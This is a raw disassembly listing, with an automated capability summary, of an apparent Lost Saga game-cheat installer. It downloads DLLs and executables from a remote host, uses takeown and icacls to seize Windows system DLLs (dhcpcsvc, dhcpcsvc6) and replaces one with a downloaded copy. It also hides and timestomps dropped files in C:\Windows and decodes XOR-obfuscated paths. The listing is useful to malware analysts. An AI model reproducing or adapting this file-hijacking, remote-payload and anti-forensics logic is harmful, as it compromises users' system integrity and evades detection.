Function at 0x403040
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Delete file
Execute command
Get file attributes
Hide graphical window
Move file
Set console window title
Set file attributes
Terminate process
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44da67
mov eax, dword fs:[0]
push eax
sub esp, 0x190
mov eax, dword [0x45e380]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push esi
push edi
mov eax, dword [0x45e380]
xor eax, esp
push eax
lea eax, [esp + 0x1a0]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
push str.color_a1
call dword [sym.imp.MSVCR100.dll_system]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push str.Loading..._n
push eax
call fcn.00405750
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push ecx
call fcn.00405750
add esp, 0x10
mov esi, 0x1a
lea ebx, [ebx]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffb1
push edx
call fcn.004059f0
add esp, 8
dec esi
jne 0x4030c0
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45af08
push eax
call fcn.00405750
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push ecx
call fcn.00405750
lea ebx, [esi + 0x1a]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffdb
push edx
call fcn.004059f0
add esp, 8
push 0x32
call esi
fld qword [0x45b668]
xor ecx, ecx
inc ecx
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcomp st(1)
fnstsw ax
test ah, 0x41
jnp 0x40311e
dec ebx
fstp st(0)
jne 0x403101
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.MSVCR100.dll__time64]
lea ecx, [esp + 0x20]
add esp, 4
push ecx
call dword [sym.imp.MSVCR100.dll__localtime64]
add esp, 4
push 0x100
mov dword [esp + 0x18], eax
call fcn.0044c8c6
add esp, 4
push str.autoupgrade.exe
call fcn.004028d0
add esp, 4
push str.lostsaga.exe
call fcn.004028d0
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 4
push str.C:Windowsiconcache_kr.dll
call ebx
push str.C:WindowsMP.exe
call ebx
push str.C:Windowshost.exe
call ebx
push str.C:Windowsui.db
call ebx
push str.ogg.dll
call ebx
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
mov edx, str.xz.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO_rpc.dll
call fcn.00402ee0
push 1
push str.C:Windowsui.db
push str.xz.dll
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [edi]
mov ecx, esi
mov dword [esp + 0x180], 0xf
mov dword [esp + 0x17c], 0
mov byte [esp + 0x16c], 0
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403200
sub ecx, edi
mov eax, esi
mov edi, ecx
lea esi, [esp + 0x16c]
call fcn.004011f0
push 4
mov edx, esi
push edx
mov dword [esp + 0x1b0], 0
call fcn.00401160
cmp eax, 0xffffffff
jne 0x403241
push 4
mov eax, str..exe
mov ecx, esi
call fcn.00404300
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call esi
push 1
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
push 0x96
call esi
mov edi, 0x3c
mov eax, str.aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsSuUvVwWxXyYzZ1234567890
lea esi, [esp + 0x128]
mov dword [esp + 0x13c], 0xf
mov dword [esp + 0x138], 0
mov byte [esp + 0x128], 0
call fcn.004011f0
push 0x96
mov byte [esp + 0x1ac], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea ecx, [ecx]
mov edi, dword [esp + 0x138]
call dword [sym.imp.MSVCR100.dll_rand]
xor edx, edx
div edi
cmp dword [esp + 0x13c], 0x10
mov eax, dword [esp + 0x128]
jae 0x4032e9
lea eax, [esp + 0x128]
mov al, byte [edx + eax]
mov byte [esp + esi + 0x188], al
inc esi
cmp esi, 0xf
jl 0x4032c0
lea ecx, [esp + 0x188]
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edx, dword [str..exe]
mov al, byte [0x45afdc]
push 0x96
mov dword [esp + 0xe0], edx
mov byte [esp + 0xe4], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xdc]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403334
lea edi, [esp + 0x188]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403345
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x45add0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCR100.dll_system]
mov eax, dword [esp + 0x170]
add esp, 4
cmp dword [esp + 0x180], 0x10
jae 0x403381
lea eax, [esp + 0x16c]
lea ecx, [esp + 0x188]
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_rename]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x1f4
call edi
push str.xz.dll
call ebx
mov esi, dword [sym.imp.MSVCR100.dll_printf]
push str.1._Cheat_LSO_External_n2._Cheat_LSO_Manual_Map_n3._Cheat_LSO_Internal_n4._Check_HWID_n5._Cheat_Private_LS__Exotic__Sejenisnya__Internal_LS_n6._Cheat_Private_LS__Exotic__Sejenisnya__Non_Internal_n7._Uniinstall_Cheat_LSO_Internal_n8._PerX_Inject_nPilih_:
call esi
add esp, 4
lea edx, [esp + 0x18]
push edx
push 0x45ad90
call dword [sym.imp.MSVCR100.dll_scanf]
mov eax, dword [esp + 0x20]
add esp, 8
cmp eax, 8
jne 0x403457
push str.C:Windowsiconcache_kr.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
push str.C:Windowsiconcache_kr.dll
lea eax, [esp + 0xe4]
push eax
mov dword [esp + 0xe8], 0x6f636975
mov dword [esp + 0xec], 0x6c642e6d
mov word [esp + 0xf0], 0x6c
call edi
push str.C:Windowshost.exe
call ebx
push 1
push str.C:Windowshost.exe
push str.host.exe
call edi
push str.Jalankan_LS
call esi
add esp, 4
call fcn.004029a0
test eax, eax
je 0x403434
call fcn.00402510
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
call dword [sym.imp.MSVCR100.dll_exit]
cmp eax, 1
jne 0x40360f
push str.Cheat_Sedang_Update_n
call esi
add esp, 4
mov dword [esp + 0xd0], 0x6f636975
mov dword [esp + 0xd4], 0x6c642e6d
mov word [esp + 0xd8], 0x6c
lea edx, [esp + 0xd0]
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO__icon_cache_kr__.db
mov byte [esp + 0x1a8], 2
call fcn.00402ee0
push 1
mov byte [esp + 0x1ac], 1
push str.C:Windowsiconcache_kr.dll
lea ecx, [esp + 0xd8]
push ecx
mov dword [esp + 0xdc], 0x6f636975
mov dword [esp + 0xe0], 0x6c642e6d
mov word [esp + 0xe4], 0x6c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowsiconcache_kr.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x64
call edi
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x3e8
call edi
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
lea edx, [esp + 0xd0]
push edx
mov dword [esp + 0xd4], 0x6f636975
mov dword [esp + 0xd8], 0x6c642e6d
mov word [esp + 0xdc], 0x6c
call ebx
push str.C:Windowshost.exe
lea eax, [esp + 0x28]
push eax
call fcn.004043f0
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xee], ax
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0xec]
push ecx
mov dword [esp + 0xf0], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0xdc]
push edx
push 0
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
push 0x320
call edi
push str.Jalankan_Game_Lost_Saga__
call esi
add esp, 4
nop
call fcn.004029a0
test eax, eax
je 0x4035f0
call fcn.00402510
push 0x64
push 0x320
call edi
push 0
call dword [sym.imp.MSVCR100.dll_exit]
cmp eax, 7
jne 0x4036bf
mov edx, str.ct.bat
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO_Scan.bat
call fcn.00402ee0
push str.Jalankan_ct.bat_hingga_selesai_nSetelah_itu_Jalankan_Inject_untuk_mengaktifkan_kembali
call esi
add esp, 4
call dword [sym.imp.MSVCR100.dll__getch]
push str.lostsaga.exe
call fcn.004028d0
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
mov esi, 0x10
add esp, 4
cmp dword [esp + 0x13c], esi
jb 0x403665
mov ecx, dword [esp + 0x128]
push ecx
call edi
add esp, 4
mov dword [esp + 0x13c], 0xf
mov dword [esp + 0x138], 0
mov byte [esp + 0x128], 0
cmp dword [esp + 0x180], esi
jb 0x403699
mov edx, dword [esp + 0x16c]
push edx
call edi
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x1a0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x188]
xor ecx, esp
call fcn.0044c8e4
mov esp, ebp
pop ebp
ret
cmp eax, 3
jne 0x403ca6
push 0xbb8
call edi
push 0x45add0
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push str.Cheat_Sedang_Melakukan_Update__n
call esi
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push str.Loading..._n
push eax
call fcn.00405750
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push ecx
call fcn.00405750
add esp, 0x10
mov esi, 0x1a
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffb1
push edx
call fcn.004059f0
add esp, 8
dec esi
jne 0x403710
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45af08
push eax
call fcn.00405750
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push ecx
call fcn.00405750
add esp, 0x10
mov esi, 0x1a
lea ecx, [ecx]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffdb
push edx
call fcn.004059f0
add esp, 8
push 0xc8
call edi
fld qword [0x45b668]
xor ecx, ecx
inc ecx
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcomp st(1)
fnstsw ax
test ah, 0x41
jnp 0x403770
dec esi
fstp st(0)
jne 0x403750
push 0x45add0
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push str.dhcpcsvc6.dll
call ebx
push str.C:Windowsiconcache_kr.dll
call ebx
mov edx, str.C:Windowsiconcache_kr.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO__icon_cache_kr__.db
call fcn.00402ee0
mov edx, str.C:WindowsSystem32iconcache_kr.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO__icon_cache_kr__.db
call fcn.00402ee0
mov edx, str.C:WindowsSysWOW64iconcache_kr.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO__icon_cache_kr__.db
call fcn.00402ee0
push 0x64
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:WindowsSysWOW64_
call esi
cmp eax, 0xffffffff
je 0x403a21
test al, 0x10
je 0x403a21
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x2c
mov eax, str.takeown__f_C:WindowsSysWOW64dhcpcsvc6.dll
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x3d
mov eax, str.icacls_C:WindowsSysWOW64dhcpcsvc6.dll__grant_Everyone:F__T
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
add esp, 0x1c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x2b
mov eax, str.takeown__f_C:WindowsSysWOW64dhcpcsvc.dll
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x3c
mov eax, str.icacls_C:WindowsSysWOW64dhcpcsvc.dll__grant_Everyone:F__T
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
add esp, 0x1c
push str.C:WindowsSysWOW64dhcpcsvc6_o.dll
call ebx
push str.C:WindowsSysWOW64dhcpcsvc6_ori.dll
call ebx
mov eax, 0xa5
xor esi, esi
mov cl, byte [esi + 0x45b2c4]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x144], cl
jns 0x4038e5
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x23
jl 0x4038c7
mov byte [esp + 0x167], 0
mov eax, 0xc9
xor esi, esi
lea ebx, [ebx]
mov dl, byte [esi + 0x45b2e8]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x104], dl
jns 0x40391e
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403900
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
lea eax, [esp + 0x148]
push eax
lea ecx, [esp + 0x10c]
push ecx
mov byte [esp + 0x131], 0
call edi
mov eax, 0x12
xor esi, esi
lea ecx, [ecx]
mov dl, byte [esi + str.Q_HB]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x144], dl
jns 0x40396e
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x25
jl 0x403950
mov byte [esp + 0x169], 0
mov eax, 0xc9
xor esi, esi
mov cl, byte [esi + 0x45b2e8]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x104], cl
jns 0x4039a1
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403983
lea edx, [esp + 0x144]
push edx
lea eax, [esp + 0x108]
push eax
mov byte [esp + 0x12d], 0
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
mov eax, 0xc9
xor esi, esi
nop
mov cl, byte [esi + 0x45b2e8]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x104], cl
jns 0x4039ee
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x4039d0
lea edx, [esp + 0x104]
push edx
mov byte [esp + 0x129], 0
call ebx
mov edx, str.dhcpcsvc6.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO_dhcpcsvc6.dll
call fcn.00402ee0
push 1
push str.C:WindowsSysWOW64dhcpcsvc6.dll
jmp 0x403c5c
push str.C:WindowsSystem32_
call esi
cmp eax, 0xffffffff
je 0x403c72
test al, 0x10
je 0x403c72
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x2c
mov eax, str.takeown__f_C:WindowsSystem32dhcpcsvc6.dll
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x3d
mov eax, str.icacls_C:WindowsSystem32dhcpcsvc6.dll__grant_Everyone:F__T
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
add esp, 0x1c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x2b
mov eax, str.takeown__f_C:WindowsSystem32dhcpcsvc.dll
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x3c
mov eax, str.icacls_C:WindowsSystem32dhcpcsvc.dll__grant_Everyone:F__T
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
add esp, 0x1c
push str.C:WindowsSystem32dhcpcsvc6_o.dll
call ebx
push str.C:WindowsSystem32dhcpcsvc6_ori.dll
call ebx
mov eax, 0xa0
xor esi, esi
mov edi, edi
mov cl, byte [esi + 0x45b3b8]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x144], cl
jns 0x403b2e
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x23
jl 0x403b10
mov byte [esp + 0x167], 0
mov eax, 0xb9
xor esi, esi
mov dl, byte [esi + 0x45b3dc]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x104], dl
jns 0x403b61
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403b43
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
lea eax, [esp + 0x148]
push eax
lea ecx, [esp + 0x10c]
push ecx
mov byte [esp + 0x131], 0
call edi
mov eax, 0xbe
xor esi, esi
mov dl, byte [esi + 0x45b400]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x144], dl
jns 0x403bae
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x25
jl 0x403b90
mov byte [esp + 0x169], 0
mov eax, 0xb9
xor esi, esi
mov cl, byte [esi + 0x45b3dc]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x104], cl
jns 0x403be1
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403bc3
lea edx, [esp + 0x144]
push edx
lea eax, [esp + 0x108]
push eax
mov byte [esp + 0x12d], 0
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
mov eax, 0xb9
xor esi, esi
nop
mov cl, byte [esi + 0x45b3dc]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x104], cl
jns 0x403c2e
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403c10
lea edx, [esp + 0x104]
push edx
mov byte [esp + 0x129], 0
call ebx
mov edx, str.dhcpcsvc6.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO_dhcpcsvc6.dll
call fcn.00402ee0
push 1
push str.C:WindowsSystem32dhcpcsvc6.dll
push str.dhcpcsvc6.dll
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.dhcpcsvc6.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push str.Cheat_Sudah_Di_install_n
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
push 0x1388
call esi
push 0x1f4
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x403637
cmp eax, 6
jne 0x403e4e
push str.Cheat_Sedang_Update_n
call esi
add esp, 4
mov dword [esp + 0xd0], 0x6f636975
mov dword [esp + 0xd4], 0x6c642e6d
mov word [esp + 0xd8], 0x6c
lea edx, [esp + 0xd0]
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_Exotic_ogg.def
mov byte [esp + 0x1a8], 5
call fcn.00402ee0
push 1
mov byte [esp + 0x1ac], 1
push str.C:Windowsiconcache_kr.dll
lea eax, [esp + 0xd8]
push eax
mov dword [esp + 0xdc], 0x6f636975
mov dword [esp + 0xe0], 0x6c642e6d
mov word [esp + 0xe4], 0x6c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowsiconcache_kr.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x64
call edi
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x3e8
call edi
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
lea ecx, [esp + 0xd0]
push ecx
mov dword [esp + 0xd4], 0x6f636975
mov dword [esp + 0xd8], 0x6c642e6d
mov word [esp + 0xdc], 0x6c
call ebx
push str.C:Windowshost.exe
lea edx, [esp + 0x28]
push edx
call fcn.004043f0
lea eax, [esp + 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [esp + 0x14]
mov dx, word [ecx + 0xc]
mov word [esp + 0xee], dx
lea edx, [esp + 0xdc]
push edx
lea eax, [esp + 0xec]
push eax
mov dword [esp + 0xf0], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0xdc]
push ecx
push 0
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
push 0x320
call edi
push str.Jalankan_Game_Lost_Saga__
call esi
add esp, 4
mov edi, edi
call fcn.004029a0
test eax, eax
je 0x403e40
jmp 0x4035f9
cmp eax, 2
jne 0x403fa4
push str.Cheat_Sedang_Update_n
call esi
add esp, 4
mov edx, str.Manual_Map.exe
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_LSO__ManualMap__.exe
call fcn.00402ee0
push 1
push str.C:WindowsMP.exe
push str.Manual_Map.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push str.C:Windowsiconcache_kr.dll
call esi
push 0x64
call edi
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call esi
push 0x3e8
call edi
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
lea edx, [esp + 0xd0]
push edx
mov dword [esp + 0xd4], 0x6f636975
mov dword [esp + 0xd8], 0x6c642e6d
mov word [esp + 0xdc], 0x6c
call ebx
push str.C:Windowshost.exe
lea eax, [esp + 0x28]
push eax
call fcn.004043f0
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xee], ax
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0xec]
push ecx
mov dword [esp + 0xf0], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0xdc]
push edx
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
push 0x320
call esi
push str.start_C:WindowsMP.exe
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push 0x1f4
push 0x320
call esi
jmp 0x403607
cmp eax, 5
jne 0x4041b8
push 0x45add0
call dword [sym.imp.MSVCR100.dll_system]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
add esp, 4
push 4
push 0x45b4c8
push str._Yes__Install_n_No__Uniinstall
push 0
call edi
push str.ogg.dll
cmp eax, 6
jne 0x4040e7
call ebx
push str.Cheat_Sedang_Install_n
call esi
add esp, 4
mov edx, str.ogg.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_Exotic_ogg.def
call fcn.00402ee0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push str.ogg.dll
call esi
mov ecx, str.RAJEF
sub ecx, 0x2161eb2d
lea eax, [esp + 0xd0]
call fcn.00405bf0
push eax
call ebx
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call esi
push str.ogg.dll
lea eax, [esp + 0x28]
push eax
call fcn.004043f0
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xee], ax
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0xec]
push ecx
mov dword [esp + 0xf0], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.ogg.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0xdc]
push edx
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0x45b4c8
push str.Klik_OK_Lalu_Jalankan_LostSaga_Private
push 0
call edi
jmp 0x403607
call ebx
push str.Cheat_Sedang_Uniinstall_n
call esi
add esp, 4
mov edx, str.ogg.dll
mov ecx, str.https:__vipxsinaga.my.id_DLL_Library_Exotic_ogg.dll
call fcn.00402ee0
push 2
push str.ogg.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.ogg.dll
lea eax, [esp + 0x28]
push eax
call fcn.004043f0
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xee], ax
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0xec]
push ecx
mov dword [esp + 0xf0], 0x707e9
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.ogg.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0xdc]
push edx
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0x45a9ec
push str.Berhasil_di_Lepaskan
push 0
call edi
jmp 0x403607
cmp eax, 4
jne 0x403637
push 0x418
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x4041dd
mov dword [eax], 0
mov ecx, eax
jmp 0x4041df
xor ecx, ecx
call fcn.00402440
mov eax, 0x45f178
mov dword [esp + 0x158], 0xf
mov dword [esp + 0x154], 0
mov byte [esp + 0x144], 0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404210
sub eax, edx
mov edi, eax
mov eax, 0x45f178
lea esi, [esp + 0x144]
call fcn.004011f0
lea eax, [esp + 0xe8]
mov byte [esp + 0x1a8], 7
call fcn.00402e30
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
mov eax, 0x45f178
mov byte [esp + 0x1c8], 8
call fcn.004059a0
add esp, 4
lea edi, [esp + 0x120]
call fcn.004066b0
add esp, 0x1c
mov byte [esp + 0x1a8], 0xa
cmp dword [esp + 0xfc], 0x10
jb 0x404291
mov eax, dword [esp + 0xe8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov edi, esp
mov ecx, 7
lea esi, [esp + 0x120]
push str._nHWID_1_:__s_n_nKASIH_KE_RESELLER
mov dword [esp + 0x11c], 0xf
mov dword [esp + 0x118], 0
mov byte [esp + 0x108], 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
